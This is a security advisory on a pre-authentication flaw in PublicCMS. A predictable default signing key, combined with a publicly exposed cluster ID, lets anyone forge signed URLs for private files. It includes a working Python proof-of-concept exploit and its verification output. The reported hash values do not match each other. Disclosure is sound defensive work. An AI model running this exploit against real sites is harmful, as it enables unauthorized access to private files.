PublicCMS Pre-Auth Predictable Default privatefile_key Allows Forged Private File Signatures and Anonymous Private File Download

Project: PublicCMS

Repository: https://github.com/sanluan/PublicCMS

Vulnerability ID: VPLUS-2026-25384

Title: Pre-Authentication Predictable Default privatefile_key in PublicCMS Allows Forged Signatures for Private File Downloads

Description: A cryptographic design flaw exists in PublicCMS private file protection. The /file/private endpoint is intended to restrict access to private files through signed URLs, but the default signing key is predictable rather than being a random secret.

The issue is caused by the following conditions:

  1. SafeConfigComponent.getSignKey(...) uses a deterministic fallback value when privatefile_key is not configured. The default key is derived from:
    • siteId
    • CMS_FILEPATH.hashCode()
    • clusterId
  2. VersionDirective.execute(...) exposes the cluster value through the unauthenticated endpoint:
    • /api/directive/tools/version
  3. FileController.privatefile(...) only validates expiry + filePath + sign, but does not require authentication and does not ensure the signing key is based on a server-side random secret.

As a result, once an attacker knows or obtains the path of a private file, they can derive the default signing key offline, forge a valid sign value, and download the private file without authentication.

Affected Component: Private file access control / signed URL mechanism

Affected File: publiccms-core/src/main/java/com/publiccms/logic/component/config/SafeConfigComponent.java

Affected Function: getSignKey

Affected Line: 159

Technical Root Cause: The application uses a predictable default key for private file signatures instead of a high-entropy random secret. At the same time, one of the required derivation inputs (cluster) is publicly exposed through an anonymous API. This makes the effective signing secret externally derivable.

Attack Vector: An unauthenticated attacker can:

  1. Obtain cluster from:
    • GET /api/directive/tools/version
  2. Derive the default signing key using the known algorithm
  3. Forge a valid signature for:
    • GET /file/private?expiry=<value>&filePath=<private_path>&sign=<forged_sign>

Proof of Concept:

#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import base64
import hashlib
import requests
import sys
import urllib.parse

BASE='http://192.168.200.81:8080'
SITE_ID=1
CMS_FILEPATH='/data/publiccms'
FILE_PATH='upload/2026/03-27/00-28-2900911521961286.png'
EXPIRY=9999999999999
IV=b'1245656789012334'
EXPECTED_SHA256='16bb9371d8d5a28c4a827a0fc6b5ba680c260e6599e5408069a3976a5d03f12f'

def java_hash(s: str) -> int:
    h = 0
    for ch in s:
        h = (31 * h + ord(ch)) & 0xffffffff
    if h >= 2**31:
        h -= 2**32
    return h

cluster = requests.get(f'{BASE}/api/directive/tools/version', timeout=10).json()['cluster']
base_resp = requests.get(
    f'{BASE}/file/private?expiry={EXPIRY}&filePath={urllib.parse.quote(FILE_PATH)}',
    timeout=10,
)
print('CLUSTER', cluster)
print('BASELINE_STATUS', base_resp.status_code)

sign_key = f'{SITE_ID}{java_hash(CMS_FILEPATH)}{cluster}'
key = sign_key[:16].encode()
plaintext = f'expiry={EXPIRY}&filePath={FILE_PATH}'.encode()
sign = base64.b64encode(AESGCM(key).encrypt(IV, plaintext, None)).decode()
url = f'{BASE}/file/private?expiry={EXPIRY}&filePath={urllib.parse.quote(FILE_PATH)}&sign={urllib.parse.quote(sign)}'
resp = requests.get(url, timeout=10)
body_sha256 = hashlib.sha256(resp.content).hexdigest()
print('FORGED_URL', url)
print('FORGED_STATUS', resp.status_code)
print('BODY_SHA256', body_sha256)
print('MATCH_EXPECTED', body_sha256 == EXPECTED_SHA256)
print('BODY_PREFIX_B64', base64.b64encode(resp.content[:16]).decode())
if not (base_resp.status_code == 403 and resp.status_code == 200 and body_sha256 == EXPECTED_SHA256):
    sys.exit(1)

Observed Behavior: The issue was successfully verified:

  • Requesting the private file without sign returned 403
  • Requesting it with an invalid signature also returned 403
  • After anonymously obtaining cluster and deriving the default signing key, a forged signature was generated
  • A forged request to /file/private returned 200
  • The downloaded file SHA-256 matched the original uploaded private file exactly

Example Verification Results:

  • VERSION_STATUS 200
  • CLUSTER 9148c4cf-908c-4c1d-86e6-d7be50f983ad
  • BASELINE_STATUS 403
  • BAD_SIGN_STATUS 403
  • FORGED_STATUS 200
  • BODY_SHA256 fd25760c519c14c759f52ad7a8dbd561f72c84e8b975909af1775bd52120a485
  • MATCH_EXPECTED True

Impact: This vulnerability enables remote unauthenticated attackers to bypass private file access protection and download private files as long as the file path is known or disclosed elsewhere. Since private file paths may leak through frontend pages, logs, history, shared links, or other APIs, the issue can lead to unauthorized disclosure of sensitive documents, images, or other restricted content.

Severity: High

CVSS: 7.5

Remediation Recommendations:

  1. Require a high-entropy, randomly generated privatefile_key for each site during installation or initialization.
  2. Eliminate predictable fallback keys based on public or semi-public values such as siteId, file paths, version data, or cluster identifiers.
  3. Do not expose internal identifiers such as cluster to unauthenticated users if they may assist in key derivation or security decisions.
  4. Do not use reversible encryption output as a signature mechanism. Replace it with HMAC-based signing such as HMAC-SHA256 using a strong secret key.
  5. Rotate all existing private file signing keys and invalidate historical signed URLs.
  6. If private file access is intended to enforce real authorization, bind file download permission to user identity, ownership, or short-lived one-time tokens instead of relying solely on forgeable URL parameters.